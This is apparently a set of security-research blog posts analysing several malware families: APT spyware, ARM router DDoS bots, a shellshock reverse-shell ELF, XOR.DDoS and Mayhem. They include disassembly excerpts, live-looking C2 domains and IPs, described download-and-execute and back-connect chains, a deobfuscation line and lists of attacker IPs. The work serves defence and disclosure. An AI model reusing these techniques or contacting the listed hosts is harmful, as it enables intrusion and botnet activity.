;; begins parameter to read process in memory here.. 0x4014BB mov edx, [ebp+nSize] 0x4014C1 lea ecx, [ebp+NumberOfBytesRead] 0x4014C7 push ecx ; lpNumberOfBytesRead 0x4014C8 mov ecx, [ebp+lpAddress] 0x4014CE push edx ; nSize 0x4014CF lea eax, [ebp+Buffer] ; 0x4014D2 push eax ; lpBuffer 0x4014D3 push ecx ; lpBaseAddress 0x4014D4 push esi ; hProcess 0x4014D5 mov [ebp+NumberOfBytesRead], ebx 0x4014DB call ds:ReadProcessMemory ; <===== ;↑Reads data from an area of memory in a specified process. 0x4014E1 test eax, eax ; execute
As for the "Exit Process patching" itself, it is a quite sophisticate technique was used. It used a tiny shellcode that was observed within Mem Loc 1 : 009C0000 to 009D0000 (by Raashid). The shellcode then was saved in binary which I received and take a look deeper to confirm it as per following snips: This shellcode I tweaked a bit, is in a plain assembly, contains three addresses of Windows static API call to (I wrote these API in order of calls from top to bottom) LoadLibraryW@kernel32.dll, RtlGetLastWin32Error@ntdll.dll, Sleep@kernel32.dll which can be shown in assembly code of the code as per snips below: So now we know that defrag.exe is actually hacked wscript.exe, hooks ExitProcess Function of kernel32.dll and patches it with a LoadLibraryW@kernel32.dll and loads a DLL string in local (for further execution), does some error-trapping and gives time for the DLL to be processed (loaded and executed).
OK. So now we have the idea on how this binary sniffs for account, checks for processes and load and use the DLL (disk1.img). There are many more details for more operation in defrag.exe, like searching the process of Auslogic and that skype/messenger buff (also many registry values sniffed too) , but those will be added later after this main course..
The DLL Payload
This DLL is the goal of this infection. It has operations for networking functionalitiy, contains the CNC information and the data to be sent to the CNC. If you do forensics, you may never see disk1.img or the deobfuscated DLL filename in the process, but you will see its operation by the patched wscript.exe (for it was hacked to load this DLL, the wscript.exe process should appear).
Below is the DLL part that in charge for the socket connections...
Which one of them is successfully established connection to CNC:
Bind IP Port Status (n) HookAddr API Calls -------------------------------------------------------- "91.229.77.179 8008 success" or wait 2 100105EA connect
From the reversing section for this DLL (by Raashid), the domains are encoded using single byte move. and can be seen in the below IDA snapshot: Which sending the below blobs of binary:
When I received the result, since I had the report that the CNC was down at the time reversed, I used the local dummy DNS to seek whether the requests was made to those CNC hosts, and is proven: Furthermore, using the different method of networking (I won't explain this for the security purpose), I could find the alive connection to the CNC's IP and PoC'ing the blob binary sent to initiate the connection. Noted, again the data matched, the reversing blob binary is actually the CNC sent data used to initiate the CNC communication, as per captured in the PCAP below, same bits: Does it means the CNC still alive? I am not so sure. It was connected. The CNC "allowed" the bot to send the data to them, yet it was not responding back afterward and let the communication becoming in "pending" stage. So, there is many possibility can be happened, like: CNC is gone, or CNC specs has changed, etc. After all this APT sample is about 6-7months old. So please allow me to take a rain check for analysis the blob binary used (still on it..among tons of tasks..). Let's investigate this CNC related network.
The CNC investigation
Based on the reverse engineering, forensics & behavior analysis we did, we found the CNC is actually 3 (three) hostnames matched to the 6 (six) IP addresses as per listed below:
static.jg7.org imaps.qki6.com menmin.strezf.com
Which historically are using the below IP addresses:
The first three domains is having a very bad reputation in phishing & malware infection globally. PoC-->[here]
For the location of these IP are shown in the below details: And the period time for each CNC's used subdomains VS IP addresses above can be viewed clearly below:
first seen 2013-11-01 21:17:45 -0000 last seen 2013-11-04 05:22:20 -0000 static.jg7.org. A 8.5.1.41
first seen 2013-10-07 13:10:00 -0000 last seen 2013-11-18 14:38:32 -0000 static.jg7.org. A 64.74.223.41
first seen 2013-08-26 10:01:39 -0000 last seen 2013-10-07 12:34:21 -0000 static.jg7.org. A 91.229.77.179
first seen 2012-12-17 04:20:19 -0000 last seen 2013-06-20 05:53:03 -0000 static.jg7.org. A 124.217.252.186
first seen 2013-06-20 08:00:28 -0000 last seen 2013-08-26 09:00:42 -0000 static.jg7.org. A 212.7.198.211
first seen 2013-11-01 21:22:55 -0000 last seen 2013-11-04 05:24:20 -0000 imaps.qki6.com. A 8.5.1.38
first seen 2013-10-07 13:10:18 -0000 last seen 2013-11-18 14:38:38 -0000 imaps.qki6.com. A 64.74.223.38
first seen 2013-08-26 10:02:05 -0000 last seen 2013-10-07 12:33:13 -0000 imaps.qki6.com. A 91.229.77.179
first seen 2012-12-17 04:19:46 -0000 last seen 2013-06-20 05:52:30 -0000 imaps.qki6.com. A 124.217.252.186
first seen 2014-01-06 01:21:07 -0000 last seen 2014-01-11 14:30:44 -0000 imaps.qki6.com. A 208.73.211.66
first seen 2013-06-20 07:07:43 -0000 last seen 2013-08-26 09:01:08 -0000 imaps.qki6.com. A 212.7.198.211
first seen 2013-08-26 10:02:31 -0000 last seen 2014-08-22 04:06:36 -0000 menmin.strezf.com. A 91.229.77.179
first seen 2013-10-05 11:54:26 -0000 last seen 2013-10-07 13:45:55 -0000 menmin.strezf.com. A 208.91.197.101
first seen 2013-06-20 06:26:33 -0000 last seen 2013-08-26 09:01:34 -0000 menmin.strezf.com. A 212.7.198.211
And below is the DNS queries for these hostname (not IP) recorded in the recent terms, thank's to OpenDNS: Cross checking various similar samples with the all recorded domains & IPs for the related CNC we found more possibility related hostnames to the similar series of the threat, suggesting the same actor(s), noted the usage of DDNS domains:
foursquare.dyndns.tv neuro.dyndns-at-home.com tripadvisor.dyndns.info wowwiki.dynalias.net yelp.webhop.org (there are some more but we are not 100% sure of them yet..is a TBA now..)
The bully actor(s) who spread this APT loves to hide their domain behind various of services like:
With noted that these THREE CNC domains used by this sample, are made on this purpose only, and leaving many traceable evidence in the internet that we collected all of those successfully. Trailing every info leaves by this domains: jg7.org, qki6.com. strezf.com will help you to know who is actually behind this attack. Noted: see the time frame data we disclosed above. If there any malware initiators and coders think they can bully others and hide their ass in internet is a BIG FAIL.
The data is too many to write it all here, by the same method of previous check we can find the relation between results. It is an interesting investigation.
Samples
What we analyzed is shared only in KernelMode, link-->[here] With thankfully to KM team (rocks!) I am reserving a topic there for the continuation disclosure for same nature of sample and threat.
The epilogue
This series of APT attack looks come and go, it was reported back then from 2009. This one campaign looks over, but for some reason that we snipped in above writing, there is no way one can be sure whether these networks used are dead. The threat is worth to investigate and monitor deeper. Some posts are suspecting political background supporting a government mission of a certain group is behind this activities, by surveillance to the targeting victims. Avoiding speculation, what we saw is a spyware effort, with a good quality...a hand-made level, suggesting a custom made malware, and I bet is not a cheap work too. We talked and compare results within involved members and having same thought about this.
If you received the sample, or, maybe got infected by these series, I suggest to please take a look at the way it was spread, dropped techniques used binaries, and the many camouflage tricks used. Further, for the researchers involved, we should add that the way to hide the CNC within crook's network is the PoC for a very well-thought & clever tricks. We have enough idea for whom is capable to do this, and now is under investigation.
We are informing to all MMD friends, this investigation is OPEN, please help in gathering information that is related to this threat for the future time frame too, as much as possible. We are opposing whoever group that is backing up this evil operation, and believe me, the dots are started to connect each other..
We are going to handle the similar threat from now on, so IF you have the abuse case by malware and need the deep investigation of what that malware does, do not hesitate to send us sample, archive the samples and text contains the explanations of how you got the sample and how can we contact you, with the password "infected", and please upload it in this link-->[DropBin].
Don't use malware, we never believe that any usage of malware can achieve any goodness. We will battle the malware initiators and its coders for the sake to support a better humanity and better internet usage.
It is one of our active project to monitor the China origin ELF DDoS'er malware threat. The growth is very rapid nowadays, MMD detected 5 variants is active under almost 15 panels scattered in China network. I am quite active in supporting the team members of this project, so recently almost everyday I reverse ELF files between 5-10 binaries. They are not aiming servers with x32 or x64 architecture but the router devices that runs on Linux too. In some cases I found the FreeBSD variant.
In this story I faced an ARM architecture binary, which I found it interesting so I decided to share it here. The reason is because, practically: it was designed to work in ARM router with minimizing a well-known Linux malware with DDoS functions/features, that I also previously posted some in here --->[-1-] [-2-] [-3-] [-4-] [-5-] [-6-], to specifically infect ARM (router) devices, and this binary is trying to convince that it is a WindowsHelp binary :D , and ,specifically: from my reverse engineering point of view, ARM &"thumb" assembly are interesting. Why I know it is aiming for router is because, the way to use internet to connect directly to remote global IP, the method used to grab data using specific location in the embedded device, and the trace of sources used during the compilation of the malware itself.
The malware
As usual, China actor(s) serves their malware binary under "specific panel", and this binary is spotted among with other Linux/Elknots malware. So as you can see it was served from Sept 10th and is having 4 downloads (including me, one time) The file looks like this:
Well, we know is an ARM binary, but I need more information, so I check the ELF composition:
Entry point address: "0x2f118" Start of program headers: "52" (bytes into file) Start of section headers: "0" (bytes into file) Flags: "0x4000002", has entry point, "Version4 EABI" Size of this header: "52" (bytes) Size of program headers: "32" (bytes) Number of program headers: "2" Size of section headers: "40" (bytes) Number of section headers: "0" Section header string table index: "0"
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD "0x000000 0x00008000 0x00008000 0x282b1 0x282b1 R E 0x8000" LOAD "0x000c24 0x000d0c24 0x000d0c24 0x00000 0x00000 RW 0x8000"
Now it's time for calculating the data, we know the size and we see the each LOAD headers size which is just unfit, further, I don't see any section (either dynamic or static) nor relocation data that I can expect from an ARM ELF (they should have more symbols), which is strange. This a sign of protection, someone want to hide something, in the end that person is hiding EVERYTHING which ending up to be very suspicious :-) - So the binary could be packed or encrypted protection, we have many possibility.
Further details of this family of ELF malware we posted regularly in here:-->[link]
Packer
Let's check, I went to the EP point (0x2f118) and start to do the stuff I usually do, with noted..we have to be very patient with the ARM or THUMB assembly since they have larger steps for simple operation than Intel processor.
This value may ring your bells too :). ok this ELF is protected, with/for what? I look from its DCB data from where it was called and clarifying the answer:
0x0002FBF0 aProt_execProt_ DCB "PROT_EXEC|PROT_WRITE failed.",0xA,0 0x0002FC0E DCB 0xA,0 0x0002FC10 aInfoThisFileIs DCB 0x24,"Info: This file is packed with the UPX executable packer http:/" 0x0002FC10 DCB "/upx.sf.net ",0x24,0xA,0 0x0002FC5F aIdUpx3_91Copyr DCB 0x24,"Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights R" 0x0002FC5F DCB "eserved. ",0x24,0xA,0 0x0002FCAB DCB 0x0 ;; here goes the table.. 0x0002FCAC DCD 0x9A8, 0x5F9, 0x500E, 0x6C00031A, 0x942C5302, 0x18D063CB 0x0002FCAC DCD 0x49382EE, 0xD185E779, 0x57399E2E, 0xD24C892F, 0x1003EA02 0x0002FCAC DCD 0x6A5A70C9, 0x2F701D6A, 0x6D0D9A7, 0xD2EC6754, 0x95ECE49 [...] [...]
Oh, silly me.. it is a UPX, but, is it common and not modded one? So I went back to check the hex snapshot, to confirm..
Since I know that some malware actors is really (enjoying to ) watch this blog too (smile). I don't want to be specific on this, but from reading the hex above we can recognize the originality of this UPX, which it is. Otherwise you have patch it to depack, sample a way to depack the custom UPX is in here-->[LINK]. Further.. as this is the common UPX, and the "U" stands for universal & we can do "universal" solution too to unpack :)
549976 <- 165176 30.03% linux/armel unpacked.1
So now we have the bigger file size :D This time let's check the composition again:
Yeah, the "GNU" ascii appears now. And, see more details below:
Entry point address: "0x8110" Start of program headers: "52" (bytes into file) Start of section headers: "548,856" (bytes into file) Flags: "0x4000002", has entry point, "Version4 EABI" Size of this header: "52" (bytes) Size of program headers: "32" (bytes) Number of program headers: "5" Size of section headers: "40" (bytes) Number of section headers: "28" Section header string table index: "27"
Good! the true EP is shown now. And we have the new program headers too:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align EXIDX "0x07bb5c 0x00083b5c 0x00083b5c 0x00900 0x00900" R 0x4 LOAD "0x000000 0x00008000 0x00008000 0x7c4dc 0x7c4dc" R E 0x8000 LOAD "0x07c4dc 0x0008c4dc 0x0008c4dc 0x00a4c 0x44748" RW 0x8000 NOTE "0x0000d4 0x000080d4 0x000080d4 0x00020 0x00020" R 0x4 TLS "0x07c4dc 0x0008c4dc 0x0008c4dc 0x00014 0x00030" R 0x4
A quick calculation of the size above shows that at least we have accuracy to more than 80% to the actual size now, good enough. It showed we have unprotected/unpacked data and so I can expect good material to disassembly it, but firstly, let's dump the sections to be sure that we have no more encryption/protection:
After comparing some ELF reference for ARM to make sure we have the proper heades, I found that all headers are there!)) Good. Since I happened to reverse a lot of same malware I can guess the sections that contains the good data, these are the section I picked to start analysis:
Name Addr Off Size ------------------------------------------- .text 0x08110 0x00110 0x6605c .rodata 0x6f008 0x67008 0x149a0 __libc_freeres_fn 0x6e16c 0x6616c 0x00df4
.text is a must in ELF since all of code logic goes here, and .rodata mostly contains the database of symbols (and sometimes .data too..depends on the coder). You can go to other section like .bss/.tbss for more symbol reference, but for me I'll pick __libc_freeres_fn since it is typical for this case.
To verdict its malicious process by reverse engineering
I will go to the reversing highlights, meanings..the most important process only. I don't write the sub functions, i.e. how it grabs the ethernet data, or how this malware use socket to connect an IP, for example, since the code is too long. But to be noted, since ARM architecture has different structure than Intel, and ARM is designed for the embedded systems, you will see many different method for the detail operation that is involving with the system calls. OK, here are the highlights that I would like to cover;
1. Installation:
Malware changes attribute & chmod the crontab, this is a bit specific setup that rarely found in the previous types, suggesting a new built, previously most of them are aiming autostart at the xinetd for autostart installation.
And the destination 0x09E68 there is the IP address of this connection.
.text:0x09E68 LDR R0, =unk_0x08C5C4 <-- address to get the CNC IP Address .text:0x09E68 <-- go down to hard-copied data:0x08C5C8 it's the IP "182.254.180.241"
Now we know the CNC is in 182.254.180.241 which is in:
The data after dword in .data:0x08C62C is the .data:0x08C630 (DCB) which is "WinHelp32.exe", see it here if you don't believe me: This is just unbelievable, seeking further to figure what is this, I found the complete set of data for this "fake process" which is a self explanatory: I don't know what to say about this..
4. PoC of backdoor and sending sensitive data to remote host:
It's self explanatory in the codes below, the BackConnect part:
The detection ratio is very low, like..ZERO. Here's the evidence, please click to enlarge the image: The VirusTotal's link is here-->[LINK]
This post is one of proof of concept that routers is actually aimed by the malware actors for one of some reasons, and the main purpose is because they are widely used all over the internet with having the global IP address, and also up and alive 364/7/24. For the crooks who are behind the malware describes in this case, owning many routers means having power of an "army of DoS bots" than can be powerful tool for an attack. We saw not only ARM architecture, but MIPS, PPC, MIPSEL, SuperH(SH) binaries are also spotted in the wild.
I am adding these project's sample in kernel mode, Will add the link shortly in here, please stay tune, I must clean up all of the garbage I made first. This is the link-->[HERE]
Conclusion & additional notes
It is up to you to defend your own router. As you can see no AV can detect these malware, it's over a week being there now. Please check your router user interface, make sure you are using the latest updates/firmware and make sure that your setting is correct and unchanged. Being skeptical during checking your router/gateway layer is very recommendable, and if you find anything unusual/suspicious please analyze it WHY and try not to let it go until you find a satisfactory answer for it. If you find it work and having no problem, backup the setting and save it right away.
The Intel x32 edition of this variant just was just spotted, analysis is here-->[LINK] <<-- you can see more details on source, compatibility, compilation etc.
The router version of ELF DDoS + backdoor malware is also spotted in the MIPS architercture, analysis is here-->[HERE] and in here-->[HERE]. The older version of the ARM ELF DDoS'er malware spotted is also available here-->[HERE]. The below tweet is the PoC that even PPC architecture is also aimed by DDoS'er malware too now (different actor & using "Tsunami" malware)
The excellent research conducted by ISE (independent security firm in Baltimore, Maryland) explained in their publishment here--[LINK], that: "..discovered critical security vulnerabilities in numerous small office/home office (SOHO) routers and wireless access points. These vulnerabilities allow a remote attacker to take full control of the router's configuration settings; some allow a local attacker to bypass authentication directly and take control. "
As an illustration, ISE shows a matrix of vulnerability vectors for the evaluated known routers: This shows us there is a weak security vector is aimed in SOHO router layer, and most of the houses & SOHO business are connected in the internet through these xDSL routers. We can not under-estimated the current volume of these routers, being up and alive in internet now. Maybe there's only a low percentage of alive routers are having the vulnerabilities mentioned, but please imagine how powerful a DDoS attack will be if a bad actor is successfully gaining access to control, say, 1% of overall alive xDSL SOHO routers. And please think what if your house or office routers are unknowingly participated into a DDoS or other attacks against a certain banks or a specific country in the world?
Additional: China ELF CNC & Web Panels Takedown
Among of the attackers we detected so far, China's bad actors are the most aggressive one. If the bad actors in China think that MMD won't do anything about their evil action, they can start to cry now, we tango'ed 25 29 ELF malware download panels panels (the counting is still rolling) as per announced below:
This report is credited to the team work between MMD, CERT and fellow researchers involved.
Tango OP Announcement:
We are releasing the take-down (Tango OP) project information of our current on-going operation against the ELF DDoS malware, the threat with origin from China.
The threat is verdicted to be originated from China based on:
1. The source binary data contains China specific details 2. Attacker IP address during attempt to infect are mostly (98%) originated from China network 3. Panels served by ELF malware be downloaded during infection, are located in China network (98%) 4. CNC server used for downloading config or used for remote attack (92%)
The malware analyzed was compiled with aiming NIX base routers/servers, with these OS & CPU architectures: 1. Intel x32 (Linux / FreeBSD) 2. Intel x64 (Linux / FreeBSD) 3. AMD x64 (Linux) 3. ARM (Linux) 4. MIPS (Linux) 5. (NEW) PPC (Linux)
We also posted three awareness , for the detail analysis of this threat: 1. May 2014 [link] 2. June 2014 [link] 3. Sept 2014 [link]
View of some download panel pictures for evidence:
Thank you @300trg for fixing the 5th picture↑
Illustration of "Volume & Combination" in its distribution
In a panel served with ELF malware, China DDoS'er crooks is distributing quite big amount of downloads (even we are assuming 70% downloads are for infection), as per seen in one panel snapshot picture below:
In a panel we often spotted the China crook is mixing the type of malware, as per seen in the PoC below: Mixing samples PoC:↓
Recent ELF samples we collected & analyzed for the past one month: (there are a lot more than these..and these are still coming)
We thank you for all entities that were kindly helping us to fight this threat. We look forward to keep on having good coordination to take down more infector IP addresses and domains.
If you happened to have ELF malware, please do not hesitate to send us sample by uploading to this-->[link] URL.
Please help our effort to report us the existence of new panels if the IP is not on the above lists (Tango or Queue List), by writing the comment under this post (will not be published), or mention to @malwaremustdie (twitter).
Comment & follow up:
Preliminary stage of takedown (was only 11 confirmed that time)
During the mayhem of bash 0day remote execution vulnerability CVE-2014-6271 and CVE-2014-7169, not for bragging but as a FYI, I happened to be the first who reversed for the first ELF malware spotted used in the wild. The rough disassembly analysis and summary I wrote and posted in Virus Total & Kernel Mode here --> [-1-] [-2-] < thanks to Yinettesys (credit) (the credit is all for her for links to find this malware, for the swift sensoring & alert, and thanks for analysis request, we won't aware of these that fast w/o her).
Yes. Today I was informed there is another payload distributed, thank's to my good friend :
Which leads to this malicious ELF file served online:
Do the pure reversing..
This ELF "malware" is working differently, it connects to remote host with attempt to bind connection on the certain port while spawning the shell "/bin//sh" upon connected, yes, a remote shell backdoor. Coded with ASM & shellcode to Linux kernel's system call addresses. For your conveniences, I wrote my decoding scratch & disassembly of all malware bits below in comments, for all of us to see how it works:
↑this is all to find out it back-connects to ip 27.19.159.224 in port 4545& spawning shell "/bin//sh" of the infected host after connected to that remote host. I think I saw this as shellcode, was used in about a lot in 2011 or 2012..
Just in case you want to see how I reversed it: (guess.. what tool is it?? *smile)
As always for a new ELF malware found.. AV detection is ZERO (FUD/FullyUnDetected):
Sample is (always) shared
I am sharing the sample in kernelmode, I register new ELF malware repository name: "Linux/binsh"< since it uses "/bin//sh" as shell in hard coded shellcode-->[LINK]
Epilogue
So we have "another" crook start playing with ELF hacks for spying purpose on shellshock too :-)
Thank you
Thank you to IT media article who directly mentioned and linked to us:
This research is detected & solved by a hard work of MMD Germany members. Credits are in the bottom of the post. The case is on and malware infrastructure is mostly up & alive, we don't want to be too details in writing because of that reason, we don't want to teach this crook of what they're lacking of by this post, yet this post necessary to raise awareness of this new emerged threat. Feel free to follow the process at will.
The infection
During the rush of #shellshock we saw another new threat emerged. We saw an attack log of one-liner shell script being injected via ssh connection. By the attack source+CNC IP and the payload, this looks like a China crook's new hack scheme to spread new ELF DDoS'er threat. This is spotted silently spread during the #shellshock waves, noted: it was NOT using #shellshock exploit itself.
The details of the attacker's trace in one-liner shell command is as per shown below:
If we beautified it as per below we will see the obfuscation this shell script: ↑the marked mark is the point of all these code, to download the file 3502.rar from some defined host addresses.
The mentioned RAR file itself is actually a shell script too:
You can read the codes here, no free ride copy/paste this time, since we have hard times with those false positives from antiviruses
The main() function is explaining how this script works, read the comments we made (in purple colored words): Shortly. The blue color explaining the obfuscation strings saved in some variables. The yellow marked color words are functions to be executed, and the red color area is the main function of this script, to download and install a payload.
The obfuscation used is in the enc() and dec() function (see that big pic codes) for encryption and decryption, by using the below code (I picked this one, the one used for decrypting)
tr "[.0-9a-zA-Z\/\/\:]""[a-zA-Z0-9\;-=+*\/]";
They called it encryption, but is just a mere obfuscator using the character map translation in "tr". Below is the easy shell script I made to decode them: Below is the result: We'll see another 3502 file. And a bunch of the CNC used. Noted the username and password they use ;)
What is this thing? In short: It's a sophisticated & well-thought ELF malware infection scheme, aiming Linux in multiple platform. It downloads, detect all parameter need to download the payload or source code of payload. It detected infected host's architecture, compiler. libraries together with sending sensitive information of the host, sent request to CNC to download the certain bins or to download resources to hack and then install the ELF binary.
The POC of this hack is the payload below:
The payload
The header looks very "fine":
ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048110
First block:
Various analysis can resulted to the payload was coded in C, hmm..a quality up, we have a challenger here :) A new DDoS'er made in China. Here's the codes (for future reference):
Breakpoint 3, 0x0804cbd3 in main () query offset aM4s4nacNa ; "m4S4nAC/nA" query register: $esp 0xffffa1b0: "[\307\377\377#\034\v\b\v"
Here is the xor used as the component logic for the decryption function: With the key that lead to this address: It "looks like" the author is having "interesting" way to remind him the XOR key itself, I don't investigate this further since I had the goal..
A hard-coded callback IP address
And look what I got next to the xor key :)) So now we know the CNC is too ;)
Based on the code it looks like using AES.DDoS'er and IptabLes strategy to install, but the source are different. So, this is another new China DDoS'er, I call this as Linux/XOR.DDoS.
Virus Total and sample
Virus total detection is below (click the image to access..) One of 55 is a bad detection..
This threat is the first time we see using complicated installer/builder. I and other team mates start to feel like playing CTF with this crook. They (China actors) are improving in steps, we must be aware. Please stay safe folks..
Credit: @shibumi (threat sensoring), @wirehack7 (formulation), and others who doesn't want to be mentioned.
We afraid this wave will come during the "shellshock", and it did. The attack wave of "ELF .so malware library", an installer of a known botnet called as "Mayhem" just hit all of us. The attack came from various IP of their botnet into many NIX services, utilizing the shellshock web vulnerability scan method to download the remote installer written in Perl (replacing the previous PHP base infection). It is obviously a new different vector for Mayhem infection, we start calling it as Mayhem Shellshock version of attack. Thank to @yinettesys (credit: link) for the quick alert & attack vector information, a good work and solid contribution to the community.
The attack
First detection:
2014-10-2 12:51:38 Zulu (UTC)
Payload attack first spotted:
2014-10-5 17:47:16 Zulu (UTC)
Pre-attack Shellshock Scanning PoC:
Payload installation attempt PoC (one-liner Shellshock) It shows the multiple url to download the Perl installer of Mayhem initial library (the Mayhem installer .so file) from remote host, to be saved in /tmp directory, to be executed after chmod with the 755 permission, under your web server daemon unix user privilege.
Attack grep/detection mitigation method advised:
"expr 1330 + 7"
The scheme: The first scanner is probing the shellshock vulnerable hosts/network and it has two patterns of shellshock query sent (see the first picture above). The botnet will receive the response of the scanning and sending the infection part of shellshock script (see the second picture above), the one with the wget to download the Perl installer script. The script will be executed in /tmp to execute the ELF .so library and delete it after being executed, so there is no remote file accessed to trigger the infection (unlike the PHP installer version). The .so binaries will be loaded in memory by LD_PRELOAD and stay resident to perform the further botnet operation.
Infection
The url in the one-liner script will lead to the Perl script installer of the Mayhem installer library: The wget logs is showing that the host is still up and alive by the time this post was written:
The 404.cgi file is the Perl installer of the malware library, the neutralized code can be viewed below: or in this pastebin-->[here]
This script does the same functionality as previous version in PHP, it is just a Perl version which is having x32 and x64 ELF binary file in hex data to be injected into a file via CGI permission on the targeted UNIX OS and run the libs with LD_PRELOAD using the related library (if needed), FYI: the executable process in this installer also will run with your web server daemon unix privilege.
To get the binary, you will need to use the patched that Perl script to save the binaries written in hex, we scratched one, be free to use, modify or improve this script: (click to copy & paste)
If you run it, you will get the malware library files to be used for the reporting or analysis purpose:
Mayhem installer (ELF DYN ".so" LD_PRELOAD)
Below is the hashes & file type of samples we collected in one incident:
These samples we uploaded in VT in here--> [-1-] and [-2-]
Generally the ELF malware itself work as per previous version mentioned in our post here [-3-] and Yandex team reported research in here [-4-]. But we are suspecting there are changes in the "scanner/spider module" of Mayhem component that is utilizing Shellshock web query/request to send the detected scanning or infection (this is not being confirmed yet..we are lacking of samples, details will be added/updated) .
In the binary dropped by the Perl installer (pls extract the binary first), or in the malicious .so files spotted in the infected machine, you can see these strings which will help you to recognize it as the malware:
The binary is self- decrypted for analysis/detection protection:
As per previous version too. During the execution the malware will drop the hidden file system contains the botnet ELF component files to be used for the further malicious operation (we will look into this encryption later on), as per below filename/permission/attributes/size details:
"-rw-r--r-- 1 mmd mmd 12582912 Oct 7 06:58 .cahed_sess"
The samples are also making callback to the remote server (CNC). In our recorded case, this is the following communication:
In another case the same sample was recorded to be distributed via sendspace.com file share service:
Below is the list of attacker's IP addresses which were reported matched to Mayhem Shellshock attack pattern, thank you to the contributors @yinettesys, @0xAli, @belmonte, @xme
1. Sum up of Mayhem ShellShock scanner and attacker IP source, we compiled as per statistic bellow: (The data is as per Sat Oct 11 23:52:50 JST 2014, Format: Country, Count)
United States 25 '<=== many attacks come from USA network' France 4 Turkey 3 Brazil 2 Canada 2 Netherlands 2 United Kingdom 2 Italy 1 Costa Rica 1 Argentina 1 Australia 1 Germany 1 Thailand 1 Kazakhstan 1 Ukraine 1 Poland 1 Indonesia 1 Sweden 1 Vietnam 1 New Zealand 1 Malaysia 1 Austria 1 Japan 1 ------------------- + Total 56 IP of 23 countries
2. Mayhem Shellshock attackers IP in Geo location details as per Sat Oct 11 23:52:50 JST 2014: Format: IP Address, City, Region, Country Name
192.169.59.190, Santa Rosa, CA, United States 192.3.138.103, Buffalo, NY, United States 205.186.134.213, Culver City, CA, United States 209.11.159.26, Overland Park, KS, United States 216.121.52.101, San Francisco, CA, United States 54.213.225.160, Seattle, WA, United States 67.214.182.202, South Bend, IN, United States 69.10.33.130, Secaucus, NJ, United States 69.20.200.203, Grand Island, NE, United States 100.42.61.126, Santa Rosa, CA, United States 108.168.131.219, Dallas, TX, United States 162.144.46.158, Provo, UT, United States 166.62.16.106, Scottsdale, AZ, United States 198.167.142.184, Kansas City, MO, United States 209.126.148.164, San Diego, CA, United States 209.200.32.76, Garden City, NY, United States 75.101.129.180, Ashburn, VA, United States 50.193.119.109, Elmhurst, IL, United States 177.87.80.17, Rio De Janeiro, 21, Brazil 187.16.21.42, , , Brazil 91.221.99.35, Amsterdam, 07, Netherlands 95.211.131.148, , , Netherlands 37.187.77.163, , , France 94.23.113.220, , , France 194.27.156.249, Celâl, 84, Turkey 103.253.75.208, , , Thailand 103.244.50.23, , , New Zealand 116.193.76.20, Chanh Hiep, 75, Vietnam 184.107.246.98, Montréal, QC, Canada 190.10.14.37, San José, 08, Costa Rica 200.80.44.160, , , Argentina 202.76.235.110, , , Malaysia 93.74.63.83, Kiev, 12, Ukraine 176.67.167.180, , , United Kingdom 82.165.36.8, , , Germany 82.200.168.83, Astana, 05, Kazakhstan 95.110.178.157, , , Italy 103.7.84.13, Jakarta, 04, Indonesia 89.206.41.50, , , Poland 85.232.60.34, , , United Kingdom 91.130.113.149, , , Austria 110.44.30.204, Spring Hill, 07, Australia 83.168.199.4, Stockholm, , Sweden 184.106.196.169, San Antonio, TX, United States 216.119.149.163, Atlanta, GA, United States 184.106.196.169, San Antonio, TX, United States 67.23.9.241, San Antonio, TX, United States 216.228.104.39, Henderson, NC, United States 82.222.172.99, Istanbul, , Turkey 184.107.144.146, Montréal, QC, Canada 23.251.144.200, Mountain View, CA, United States 212.175.22.22, Istanbul, , Turkey 142.4.11.48, Provo, UT, United States 5.39.49.231, , , France 133.242.202.17, Tokyo, , Japan 94.23.42.182, Roubaix, , France
3. Mayhem Shellshock attacker IP per network details as per Sat Oct 11 23:52:50 JST 2014: Format: IP Address, Reverse Lookup IP, ASN, CIDR, Prefix, Country Code(2bits), ISP Code, ISP Name
192.169.59.190|emu.arvixe.com.|36351 | 192.169.48.0/20 | SOFTLAYER | US | ARVIXE.COM | ARVIXE LLC 192.3.138.103|host.colocrossing.com.|36352 | 192.3.136.0/21 | AS-COLOCROSSING | US | HUDSONVALLEYHOST.COM | HUDSON VALLEY HOST 205.186.134.213|thewineconsultant.com.|31815 | 205.186.128.0/19 | MEDIATEMPLE | US | MEDIATEMPLE.NET | MEDIA TEMPLE INC. 209.11.159.26|cpanel.webindia.com.|40913 | 209.11.128.0/19 | QTS-SJC-1 | US | SEALCONSULT.COM | IBIS INC. 216.121.52.101|101.52.121.216.reverse.gogrid.com.|26228 | 216.121.0.0/17 | SERVEPATH | US | GOGRID.COM | GOGRID LLC 54.213.225.160|ec2-54-213-225-160.us-west-2.compute.amazonaws.com.|16509 | 54.213.0.0/16 | AMAZON-02 | US | AMAZON.COM | AMAZON.COM INC. 67.214.182.202|202.smart-dns.net.|12260 | 67.214.176.0/20 | COLOSTORE | US | COLOSTORE.COM | COLOSTORE.COM 69.10.33.130||19318 | 69.10.32.0/20 | NJIIX-AS-1 | US | INTERSERVER.NET | INTERSERVER INC 69.20.200.203|webvms.kdsi.net.|32101 | 69.20.200.0/24 | ASN-KLYS | US | KELLYSUPPLY.COM | KELLY SUPPLY COMPANY 100.42.61.126|starfish.arvixe.com.|36351 | 100.42.61.0/24 | SOFTLAYER | US | ARVIXE.COM | ARVIXE LLC 108.168.131.219|s13.nzusatechgroup.com.|36351 | 108.168.128.0/19 | SOFTLAYER | US | SOFTLAYER.COM | SOFTLAYER TECHNOLOGIES INC. 162.144.46.158|server.forkliftmarket.com.au.|46606 | 162.144.0.0/16 | UNIFIEDLAYER-AS-1 | US | UNIFIEDLAYER.COM | UNIFIED LAYER 166.62.16.106|ip-166-62-16-106.ip.secureserver.net.|26496 | 166.62.16.0/22 | AS-26496-GO-DADDY-CO | US | GODADDY.COM | GODADDY.COM LLC 198.167.142.184|spanky.myserverplanet.com.|23033 | 198.167.142.0/24 | WOW | US | MYVIRPUS.COM | DNSSLAVE.COM 209.126.148.164||10439 | 209.126.128.0/17 | CARINET | US | PROENLACE.MX | CARI.NET 209.200.32.76|lazer.webair.com.|27257 | 209.200.32.0/19 | 